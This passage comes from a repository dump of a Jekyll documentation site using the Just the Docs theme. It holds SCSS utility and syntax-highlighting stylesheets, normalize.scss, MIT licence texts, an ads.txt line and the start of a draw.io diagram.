$grey-dk-300 !important;\n}\n\n.bg-grey-lt-000 {\n  background-color: $grey-lt-000 !important;\n}\n\n.bg-grey-lt-100 {\n  background-color: $grey-lt-100 !important;\n}\n\n.bg-grey-lt-200 {\n  background-color: $grey-lt-200 !important;\n}\n\n.bg-grey-lt-300 {\n  background-color: $grey-lt-300 !important;\n}\n\n.bg-blue-000 {\n  background-color: $blue-000 !important;\n}\n\n.bg-blue-100 {\n  background-color: $blue-100 !important;\n}\n\n.bg-blue-200 {\n  background-color: $blue-200 !important;\n}\n\n.bg-blue-300 {\n  background-color: $blue-300 !important;\n}\n\n.bg-green-000 {\n  background-color: $green-000 !important;\n}\n\n.bg-green-100 {\n  background-color: $green-100 !important;\n}\n\n.bg-green-200 {\n  background-color: $green-200 !important;\n}\n\n.bg-green-300 {\n  background-color: $green-300 !important;\n}\n\n.bg-purple-000 {\n  background-color: $purple-000 !important;\n}\n\n.bg-purple-100 {\n  background-color: $purple-100 !important;\n}\n\n.bg-purple-200 {\n  background-color: $purple-200 !important;\n}\n\n.bg-purple-300 {\n  background-color: $purple-300 !important;\n}\n\n.bg-yellow-000 {\n  background-color: $yellow-000 !important;\n}\n\n.bg-yellow-100 {\n  background-color: $yellow-100 !important;\n}\n\n.bg-yellow-200 {\n  background-color: $yellow-200 !important;\n}\n\n.bg-yellow-300 {\n  background-color: $yellow-300 !important;\n}\n\n.bg-red-000 {\n  background-color: $red-000 !important;\n}\n\n.bg-red-100 {\n  background-color: $red-100 !important;\n}\n\n.bg-red-200 {\n  background-color: $red-200 !important;\n}\n\n.bg-red-300 {\n  background-color: $red-300 !important;\n}\n"
  },
  {
    "path": "_sass/utilities/_layout.scss",
    "content": "// Utility classes for layout\n\n// Display\n\n.d-block {\n  display: block !important;\n}\n\n.d-flex {\n  display: flex !important;\n}\n\n.d-inline {\n  display: inline !important;\n}\n\n.d-inline-block {\n  display: inline-block !important;\n}\n\n.d-none {\n  display: none !important;\n}\n\n@each $media-query in map-keys($media-queries) {\n  @for $i from 1 through length($spacers) {\n    @include mq($media-query) {\n      $size: #{map-get($spacers, sp-#{$i - 1})};\n      $scale: #{$i - 1};\n\n      // .d-sm-block, .d-md-none, .d-lg-inline\n      .d-#{$media-query}-block {\n        display: block !important;\n      }\n      .d-#{$media-query}-flex {\n        display: flex !important;\n      }\n      .d-#{$media-query}-inline {\n        display: inline !important;\n      }\n      .d-#{$media-query}-inline-block {\n        display: inline-block !important;\n      }\n      .d-#{$media-query}-none {\n        display: none !important;\n      }\n    }\n  }\n}\n\n// Horizontal alignment\n\n.float-left {\n  float: left !important;\n}\n\n.float-right {\n  float: right !important;\n}\n\n.flex-justify-start {\n  justify-content: flex-start !important;\n}\n\n.flex-justify-end {\n  justify-content: flex-end !important;\n}\n\n.flex-justify-between {\n  justify-content: space-between !important;\n}\n\n.flex-justify-around {\n  justify-content: space-around !important;\n}\n\n// Vertical alignment\n\n.v-align-baseline {\n  vertical-align: baseline !important;\n}\n\n.v-align-bottom {\n  vertical-align: bottom !important;\n}\n\n.v-align-middle {\n  vertical-align: middle !important;\n}\n\n.v-align-text-bottom {\n  vertical-align: text-bottom !important;\n}\n\n.v-align-text-top {\n  vertical-align: text-top !important;\n}\n\n.v-align-top {\n  vertical-align: top !important;\n}\n"
  },
  {
    "path": "_sass/utilities/_lists.scss",
    "content": "// Utility classes for lists\n\n// stylelint-disable selector-max-type\n\n.list-style-none {\n  padding: 0 !important;\n  margin: 0 !important;\n  list-style: none !important;\n\n  li {\n    &::before {\n      display: none !important;\n    }\n  }\n}\n"
  },
  {
    "path": "_sass/utilities/_spacing.scss",
    "content": "// Utility classes for margins and padding\n\n// stylelint-disable block-opening-brace-space-after, block-opening-brace-space-before\n\n// Margin spacer utilities\n\n.mx-auto {\n  margin-right: auto !important;\n  margin-left: auto !important;\n}\n\n@for $i from 1 through length($spacers) {\n  $size: #{map-get($spacers, sp-#{$i - 1})};\n  $scale: #{$i - 1};\n\n  // .m-0, .m-1, .m-2...\n  .m-#{$scale} {\n    margin: #{$size} !important;\n  }\n  .mt-#{$scale} {\n    margin-top: #{$size} !important;\n  }\n  .mr-#{$scale} {\n    margin-right: #{$size} !important;\n  }\n  .mb-#{$scale} {\n    margin-bottom: #{$size} !important;\n  }\n  .ml-#{$scale} {\n    margin-left: #{$size} !important;\n  }\n\n  .mx-#{$scale} {\n    margin-right: #{$size} !important;\n    margin-left: #{$size} !important;\n  }\n\n  .my-#{$scale} {\n    margin-top: #{$size} !important;\n    margin-bottom: #{$size} !important;\n  }\n\n  .mxn-#{$scale} {\n    margin-right: -#{$size} !important;\n    margin-left: -#{$size} !important;\n  }\n  .mx-#{$scale}-auto {\n    margin-right: auto !important;\n    margin-left: auto !important;\n  }\n}\n\n@each $media-query in map-keys($media-queries) {\n  @for $i from 1 through length($spacers) {\n    @include mq($media-query) {\n      $size: #{map-get($spacers, sp-#{$i - 1})};\n      $scale: #{$i - 1};\n\n      // .m-sm-0, .m-md-1, .m-lg-2...\n      .m-#{$media-query}-#{$scale} {\n        margin: #{$size} !important;\n      }\n      .mt-#{$media-query}-#{$scale} {\n        margin-top: #{$size} !important;\n      }\n      .mr-#{$media-query}-#{$scale} {\n        margin-right: #{$size} !important;\n      }\n      .mb-#{$media-query}-#{$scale} {\n        margin-bottom: #{$size} !important;\n      }\n      .ml-#{$media-query}-#{$scale} {\n        margin-left: #{$size} !important;\n      }\n\n      .mx-#{$media-query}-#{$scale} {\n        margin-right: #{$size} !important;\n        margin-left: #{$size} !important;\n      }\n\n      .my-#{$media-query}-#{$scale} {\n        margin-top: #{$size} !important;\n        margin-bottom: #{$size} !important;\n      }\n\n      .mxn-#{$media-query}-#{$scale} {\n        margin-right: -#{$size} !important;\n        margin-left: -#{$size} !important;\n      }\n    }\n  }\n}\n\n// Padding spacer utilities\n\n@for $i from 1 through length($spacers) {\n  $size: #{map-get($spacers, sp-#{$i - 1})};\n  $scale: #{$i - 1};\n\n  // .p-0, .p-1, .p-2...\n  .p-#{$scale} {\n    padding: #{$size} !important;\n  }\n  .pt-#{$scale} {\n    padding-top: #{$size} !important;\n  }\n  .pr-#{$scale} {\n    padding-right: #{$size} !important;\n  }\n  .pb-#{$scale} {\n    padding-bottom: #{$size} !important;\n  }\n  .pl-#{$scale} {\n    padding-left: #{$size} !important;\n  }\n\n  .px-#{$scale} {\n    padding-right: #{$size} !important;\n    padding-left: #{$size} !important;\n  }\n\n  .py-#{$scale} {\n    padding-top: #{$size} !important;\n    padding-bottom: #{$size} !important;\n  }\n}\n\n@each $media-query in map-keys($media-queries) {\n  @include mq($media-query) {\n    @for $i from 1 through length($spacers) {\n      $size: #{map-get($spacers, sp-#{$i - 1})};\n      $scale: #{$i - 1};\n\n      // .p-sm-0, .p-md-1, .p-lg-2...\n      .p-#{$media-query}-#{$scale} {\n        padding: #{$size} !important;\n      }\n      .pt-#{$media-query}-#{$scale} {\n        padding-top: #{$size} !important;\n      }\n      .pr-#{$media-query}-#{$scale} {\n        padding-right: #{$size} !important;\n      }\n      .pb-#{$media-query}-#{$scale} {\n        padding-bottom: #{$size} !important;\n      }\n      .pl-#{$media-query}-#{$scale} {\n        padding-left: #{$size} !important;\n      }\n\n      .px-#{$media-query}-#{$scale} {\n        padding-right: #{$size} !important;\n        padding-left: #{$size} !important;\n      }\n\n      .py-#{$media-query}-#{$scale} {\n        padding-top: #{$size} !important;\n        padding-bottom: #{$size} !important;\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "_sass/utilities/_typography.scss",
    "content": "// Utility classes for typography\n\n.fs-1 {\n  @include fs-1;\n}\n\n.fs-2 {\n  @include fs-2;\n}\n\n.fs-3 {\n  @include fs-3;\n}\n\n.fs-4 {\n  @include fs-4;\n}\n\n.fs-5 {\n  @include fs-5;\n}\n\n.fs-6 {\n  @include fs-6;\n}\n\n.fs-7 {\n  @include fs-7;\n}\n\n.fs-8 {\n  @include fs-8;\n}\n\n.fs-9 {\n  @include fs-9;\n}\n\n.fs-10 {\n  @include fs-10;\n}\n\n.fw-300 {\n  font-weight: 300 !important;\n}\n\n.fw-400 {\n  font-weight: 400 !important;\n}\n\n.fw-500 {\n  font-weight: 500 !important;\n}\n\n.fw-700 {\n  font-weight: 700 !important;\n}\n\n.lh-0 {\n  line-height: 0 !important;\n}\n\n.lh-default {\n  line-height: $body-line-height;\n}\n\n.lh-tight {\n  line-height: $body-heading-line-height;\n}\n\n.ls-5 {\n  letter-spacing: 0.05em !important;\n}\n\n.ls-10 {\n  letter-spacing: 0.1em !important;\n}\n\n.ls-0 {\n  letter-spacing: 0 !important;\n}\n\n.text-uppercase {\n  text-transform: uppercase !important;\n}\n"
  },
  {
    "path": "_sass/utilities/utilities.scss",
    "content": "@import \"./colors\";\n@import \"./layout\";\n@import \"./typography\";\n@import \"./lists\";\n@import \"./spacing\";\n"
  },
  {
    "path": "_sass/vendor/OneDarkJekyll/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2016 Mihály Gyöngyösi\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "_sass/vendor/OneDarkJekyll/syntax.scss",
    "content": "// Generated with OneDarkJekyll applied to Atom's One Dark Vivid theme\n\n.highlight,\npre.highlight {\n  background: #31343f;\n  color: #dee2f7;\n}\n.highlight pre {\n  background: #31343f;\n}\n.highlight .hll {\n  background: #31343f;\n}\n.highlight .c {\n  color: #63677e;\n  font-style: italic;\n}\n.highlight .err {\n  color: #960050;\n  background-color: #1e0010;\n}\n.highlight .k {\n  color: #e19ef5;\n}\n.highlight .l {\n  color: #a3eea0;\n}\n.highlight .n {\n  color: #dee2f7;\n}\n.highlight .o {\n  color: #dee2f7;\n}\n.highlight .p {\n  color: #dee2f7;\n}\n.highlight .cm {\n  color: #63677e;\n  font-style: italic;\n}\n.highlight .cp {\n  color: #63677e;\n  font-style: italic;\n}\n.highlight .c1 {\n  color: #63677e;\n  font-style: italic;\n}\n.highlight .cs {\n  color: #63677e;\n  font-style: italic;\n}\n.highlight .ge {\n  font-style: italic;\n}\n.highlight .gs {\n  font-weight: 700;\n}\n.highlight .kc {\n  color: #e19ef5;\n}\n.highlight .kd {\n  color: #e19ef5;\n}\n.highlight .kn {\n  color: #e19ef5;\n}\n.highlight .kp {\n  color: #e19ef5;\n}\n.highlight .kr {\n  color: #e19ef5;\n}\n.highlight .kt {\n  color: #e19ef5;\n}\n.highlight .ld {\n  color: #a3eea0;\n}\n.highlight .m {\n  color: #eddc96;\n}\n.highlight .s {\n  color: #a3eea0;\n}\n.highlight .na {\n  color: #eddc96;\n}\n.highlight .nb {\n  color: #fdce68;\n}\n.highlight .nc {\n  color: #fdce68;\n}\n.highlight .no {\n  color: #fdce68;\n}\n.highlight .nd {\n  color: #fdce68;\n}\n.highlight .ni {\n  color: #fdce68;\n}\n.highlight .ne {\n  color: #fdce68;\n}\n.highlight .nf {\n  color: #dee2f7;\n}\n.highlight .nl {\n  color: #fdce68;\n}\n.highlight .nn {\n  color: #dee2f7;\n}\n.highlight .nx {\n  color: #dee2f7;\n}\n.highlight .py {\n  color: #fdce68;\n}\n.highlight .nt {\n  color: #f9867b;\n}\n.highlight .nv {\n  color: #fdce68;\n}\n.highlight .ow {\n  font-weight: 700;\n}\n.highlight .w {\n  color: #f8f8f2;\n}\n.highlight .mf {\n  color: #eddc96;\n}\n.highlight .mh {\n  color: #eddc96;\n}\n.highlight .mi {\n  color: #eddc96;\n}\n.highlight .mo {\n  color: #eddc96;\n}\n.highlight .sb {\n  color: #a3eea0;\n}\n.highlight .sc {\n  color: #a3eea0;\n}\n.highlight .sd {\n  color: #a3eea0;\n}\n.highlight .s2 {\n  color: #a3eea0;\n}\n.highlight .se {\n  color: #a3eea0;\n}\n.highlight .sh {\n  color: #a3eea0;\n}\n.highlight .si {\n  color: #a3eea0;\n}\n.highlight .sx {\n  color: #a3eea0;\n}\n.highlight .sr {\n  color: #7be2f9;\n}\n.highlight .s1 {\n  color: #a3eea0;\n}\n.highlight .ss {\n  color: #7be2f9;\n}\n.highlight .bp {\n  color: #fdce68;\n}\n.highlight .vc {\n  color: #fdce68;\n}\n.highlight .vg {\n  color: #fdce68;\n}\n.highlight .vi {\n  color: #f9867b;\n}\n.highlight .il {\n  color: #eddc96;\n}\n.highlight .gu {\n  color: #75715e;\n}\n.highlight .gd {\n  color: #f92672;\n}\n.highlight .gi {\n  color: #a6e22e;\n}\n"
  },
  {
    "path": "_sass/vendor/OneLightJekyll/LICENSE",
    "content": "OneLightJekyll relies on two works: OneDarkJekyll, and Atom's One Light theme. This file contains the licensing for all the related software.\n\n---\n\nOneLightJekyll (https://github.com/just-the-docs/OneLightJekyll/blob/main/LICENSE)\n\nMIT License\n\nCopyright (c) 2023 Matthew Wang\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\n---\n\nOneDarkJekyll (https://github.com/mgyongyosi/OneDarkJekyll/blob/master/LICENSE)\n\nMIT License\n\nCopyright (c) 2016 Mihály Gyöngyösi\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\n---\n\nAtom One Light (https://github.com/atom/atom/blob/master/LICENSE.md)\n\nCopyright (c) 2011-2022 GitHub Inc.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n"
  },
  {
    "path": "_sass/vendor/OneLightJekyll/syntax.scss",
    "content": "// Generated with OneLightJekyll applied to Atom's One Light theme\n\n.highlight,\npre.highlight {\n  background: #f9f9f9;\n  color: #383942;\n}\n.highlight pre {\n  background: #f9f9f9;\n}\n.highlight .hll {\n  background: #f9f9f9;\n}\n.highlight .c {\n  color: #9fa0a6;\n  font-style: italic;\n}\n.highlight .err {\n  color: #fff;\n  background-color: #e05151;\n}\n.highlight .k {\n  color: #a625a4;\n}\n.highlight .l {\n  color: #50a04f;\n}\n.highlight .n {\n  color: #383942;\n}\n.highlight .o {\n  color: #383942;\n}\n.highlight .p {\n  color: #383942;\n}\n.highlight .cm {\n  color: #9fa0a6;\n  font-style: italic;\n}\n.highlight .cp {\n  color: #9fa0a6;\n  font-style: italic;\n}\n.highlight .c1 {\n  color: #9fa0a6;\n  font-style: italic;\n}\n.highlight .cs {\n  color: #9fa0a6;\n  font-style: italic;\n}\n.highlight .ge {\n  font-style: italic;\n}\n.highlight .gs {\n  font-weight: 700;\n}\n.highlight .kc {\n  color: #a625a4;\n}\n.highlight .kd {\n  color: #a625a4;\n}\n.highlight .kn {\n  color: #a625a4;\n}\n.highlight .kp {\n  color: #a625a4;\n}\n.highlight .kr {\n  color: #a625a4;\n}\n.highlight .kt {\n  color: #a625a4;\n}\n.highlight .ld {\n  color: #50a04f;\n}\n.highlight .m {\n  color: #b66a00;\n}\n.highlight .s {\n  color: #50a04f;\n}\n.highlight .na {\n  color: #b66a00;\n}\n.highlight .nb {\n  color: #ca7601;\n}\n.highlight .nc {\n  color: #ca7601;\n}\n.highlight .no {\n  color: #ca7601;\n}\n.highlight .nd {\n  color: #ca7601;\n}\n.highlight .ni {\n  color: #ca7601;\n}\n.highlight .ne {\n  color: #ca7601;\n}\n.highlight .nf {\n  color: #383942;\n}\n.highlight .nl {\n  color: #ca7601;\n}\n.highlight .nn {\n  color: #383942;\n}\n.highlight .nx {\n  color: #383942;\n}\n.highlight .py {\n  color: #ca7601;\n}\n.highlight .nt {\n  color: #e35549;\n}\n.highlight .nv {\n  color: #ca7601;\n}\n.highlight .ow {\n  font-weight: 700;\n}\n.highlight .w {\n  color: #f8f8f2;\n}\n.highlight .mf {\n  color: #b66a00;\n}\n.highlight .mh {\n  color: #b66a00;\n}\n.highlight .mi {\n  color: #b66a00;\n}\n.highlight .mo {\n  color: #b66a00;\n}\n.highlight .sb {\n  color: #50a04f;\n}\n.highlight .sc {\n  color: #50a04f;\n}\n.highlight .sd {\n  color: #50a04f;\n}\n.highlight .s2 {\n  color: #50a04f;\n}\n.highlight .se {\n  color: #50a04f;\n}\n.highlight .sh {\n  color: #50a04f;\n}\n.highlight .si {\n  color: #50a04f;\n}\n.highlight .sx {\n  color: #50a04f;\n}\n.highlight .sr {\n  color: #0083bb;\n}\n.highlight .s1 {\n  color: #50a04f;\n}\n.highlight .ss {\n  color: #0083bb;\n}\n.highlight .bp {\n  color: #ca7601;\n}\n.highlight .vc {\n  color: #ca7601;\n}\n.highlight .vg {\n  color: #ca7601;\n}\n.highlight .vi {\n  color: #e35549;\n}\n.highlight .il {\n  color: #b66a00;\n}\n.highlight .gu {\n  color: #75715e;\n}\n.highlight .gd {\n  color: #e05151;\n}\n.highlight .gi {\n  color: #43d089;\n}\n.highlight .language-json .w + .s2 {\n  color: #e35549;\n}\n.highlight .language-json .kc {\n  color: #0083bb;\n}\n"
  },
  {
    "path": "_sass/vendor/normalize.scss/README.md",
    "content": "# normalize.scss\n\nNormalize.scss is an SCSS copy of [normalize.css](http://necolas.github.io/normalize.css), a customisable CSS file that makes browsers render all elements more consistently and in line with modern standards.\n\nThe [normalize.scss fork](https://github.com/guerrero/normalize.scss) of [normalize.css](http://necolas.github.io/normalize.css) was archived in 2014, and has not been updated since v0.1.0.\n\n[View the normalize.css test file](http://necolas.github.io/normalize.css/latest/test.html)\n"
  },
  {
    "path": "_sass/vendor/normalize.scss/normalize.scss",
    "content": "/*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */\n\n/* Document\n   ========================================================================== */\n\n/**\n * 1. Correct the line height in all browsers.\n * 2. Prevent adjustments of font size after orientation changes in iOS.\n */\n\nhtml {\n  line-height: 1.15; /* 1 */\n  -webkit-text-size-adjust: 100%; /* 2 */\n}\n\n/* Sections\n   ========================================================================== */\n\n/**\n * Remove the margin in all browsers.\n */\n\nbody {\n  margin: 0;\n}\n\n/**\n * Render the `main` element consistently in IE.\n */\n\nmain {\n  display: block;\n}\n\n/**\n * Correct the font size and margin on `h1` elements within `section` and\n * `article` contexts in Chrome, Firefox, and Safari.\n */\n\nh1 {\n  font-size: 2em;\n  margin: 0.67em 0;\n}\n\n/* Grouping content\n   ========================================================================== */\n\n/**\n * 1. Add the correct box sizing in Firefox.\n * 2. Show the overflow in Edge and IE.\n */\n\nhr {\n  box-sizing: content-box; /* 1 */\n  height: 0; /* 1 */\n  overflow: visible; /* 2 */\n}\n\n/**\n * 1. Correct the inheritance and scaling of font size in all browsers.\n * 2. Correct the odd `em` font sizing in all browsers.\n */\n\npre {\n  font-family: monospace, monospace; /* 1 */\n  font-size: 1em; /* 2 */\n}\n\n/* Text-level semantics\n   ========================================================================== */\n\n/**\n * Remove the gray background on active links in IE 10.\n */\n\na {\n  background-color: transparent;\n}\n\n/**\n * 1. Remove the bottom border in Chrome 57-\n * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.\n */\n\nabbr[title] {\n  border-bottom: none; /* 1 */\n  text-decoration: underline; /* 2 */\n  text-decoration: underline dotted; /* 2 */\n}\n\n/**\n * Add the correct font weight in Chrome, Edge, and Safari.\n */\n\nb,\nstrong {\n  font-weight: bolder;\n}\n\n/**\n * 1. Correct the inheritance and scaling of font size in all browsers.\n * 2. Correct the odd `em` font sizing in all browsers.\n */\n\ncode,\nkbd,\nsamp {\n  font-family: monospace, monospace; /* 1 */\n  font-size: 1em; /* 2 */\n}\n\n/**\n * Add the correct font size in all browsers.\n */\n\nsmall {\n  font-size: 80%;\n}\n\n/**\n * Prevent `sub` and `sup` elements from affecting the line height in\n * all browsers.\n */\n\nsub,\nsup {\n  font-size: 75%;\n  line-height: 0;\n  position: relative;\n  vertical-align: baseline;\n}\n\nsub {\n  bottom: -0.25em;\n}\n\nsup {\n  top: -0.5em;\n}\n\n/* Embedded content\n   ========================================================================== */\n\n/**\n * Remove the border on images inside links in IE 10.\n */\n\nimg {\n  border-style: none;\n}\n\n/* Forms\n   ========================================================================== */\n\n/**\n * 1. Change the font styles in all browsers.\n * 2. Remove the margin in Firefox and Safari.\n */\n\nbutton,\ninput,\noptgroup,\nselect,\ntextarea {\n  font-family: inherit; /* 1 */\n  font-size: 100%; /* 1 */\n  line-height: 1.15; /* 1 */\n  margin: 0; /* 2 */\n}\n\n/**\n * Show the overflow in IE.\n * 1. Show the overflow in Edge.\n */\n\nbutton,\ninput {\n  /* 1 */\n  overflow: visible;\n}\n\n/**\n * Remove the inheritance of text transform in Edge, Firefox, and IE.\n * 1. Remove the inheritance of text transform in Firefox.\n */\n\nbutton,\nselect {\n  /* 1 */\n  text-transform: none;\n}\n\n/**\n * Correct the inability to style clickable types in iOS and Safari.\n */\n\nbutton,\n[type=\"button\"],\n[type=\"reset\"],\n[type=\"submit\"] {\n  -webkit-appearance: button;\n}\n\n/**\n * Remove the inner border and padding in Firefox.\n */\n\nbutton::-moz-focus-inner,\n[type=\"button\"]::-moz-focus-inner,\n[type=\"reset\"]::-moz-focus-inner,\n[type=\"submit\"]::-moz-focus-inner {\n  border-style: none;\n  padding: 0;\n}\n\n/**\n * Restore the focus styles unset by the previous rule.\n */\n\nbutton:-moz-focusring,\n[type=\"button\"]:-moz-focusring,\n[type=\"reset\"]:-moz-focusring,\n[type=\"submit\"]:-moz-focusring {\n  outline: 1px dotted ButtonText;\n}\n\n/**\n * Correct the padding in Firefox.\n */\n\nfieldset {\n  padding: 0.35em 0.75em 0.625em;\n}\n\n/**\n * 1. Correct the text wrapping in Edge and IE.\n * 2. Correct the color inheritance from `fieldset` elements in IE.\n * 3. Remove the padding so developers are not caught out when they zero out\n *    `fieldset` elements in all browsers.\n */\n\nlegend {\n  box-sizing: border-box; /* 1 */\n  color: inherit; /* 2 */\n  display: table; /* 1 */\n  max-width: 100%; /* 1 */\n  padding: 0; /* 3 */\n  white-space: normal; /* 1 */\n}\n\n/**\n * Add the correct vertical alignment in Chrome, Firefox, and Opera.\n */\n\nprogress {\n  vertical-align: baseline;\n}\n\n/**\n * Remove the default vertical scrollbar in IE 10+.\n */\n\ntextarea {\n  overflow: auto;\n}\n\n/**\n * 1. Add the correct box sizing in IE 10.\n * 2. Remove the padding in IE 10.\n */\n\n[type=\"checkbox\"],\n[type=\"radio\"] {\n  box-sizing: border-box; /* 1 */\n  padding: 0; /* 2 */\n}\n\n/**\n * Correct the cursor style of increment and decrement buttons in Chrome.\n */\n\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n  height: auto;\n}\n\n/**\n * 1. Correct the odd appearance in Chrome and Safari.\n * 2. Correct the outline style in Safari.\n */\n\n[type=\"search\"] {\n  -webkit-appearance: textfield; /* 1 */\n  outline-offset: -2px; /* 2 */\n}\n\n/**\n * Remove the inner padding in Chrome and Safari on macOS.\n */\n\n[type=\"search\"]::-webkit-search-decoration {\n  -webkit-appearance: none;\n}\n\n/**\n * 1. Correct the inability to style clickable types in iOS and Safari.\n * 2. Change font properties to `inherit` in Safari.\n */\n\n::-webkit-file-upload-button {\n  -webkit-appearance: button; /* 1 */\n  font: inherit; /* 2 */\n}\n\n/* Interactive\n   ========================================================================== */\n\n/*\n * Add the correct display in Edge, IE 10+, and Firefox.\n */\n\ndetails {\n  display: block;\n}\n\n/*\n * Add the correct display in all browsers.\n */\n\nsummary {\n  display: list-item;\n}\n\n/* Misc\n   ========================================================================== */\n\n/**\n * Add the correct display in IE 10+.\n */\n\ntemplate {\n  display: none;\n}\n\n/**\n * Add the correct display in IE 10.\n */\n\n[hidden] {\n  display: none;\n}\n"
  },
  {
    "path": "ads.txt",
    "content": "google.com, pub-4288225696268534, DIRECT, f08c47fec0942fa0\n"
  },
  {
    "path": "assets/css/just-the-docs-dark.scss",
    "content": "---\n---\n{% include css/just-the-docs.scss.liquid color_scheme=\"dark\" %}\n"
  },
  {
    "path": "assets/css/just-the-docs-default.scss",
    "content": "---\n---\n{% if site.color_scheme and site.color_scheme != \"nil\" %}\n  {% assign color_scheme = site.color_scheme %}\n{% else %}\n  {% assign color_scheme = \"light\" %}\n{% endif %}\n{% include css/just-the-docs.scss.liquid color_scheme=color_scheme %}\n"
  },
  {
    "path": "assets/css/just-the-docs-light.scss",
    "content": "---\n---\n{% include css/just-the-docs.scss.liquid color_scheme=\"light\" %}\n"
  },
  {
    "path": "assets/images/arti.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T13:08:46.104Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"d9A2AN_lAQRYwrKy4R8W\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" 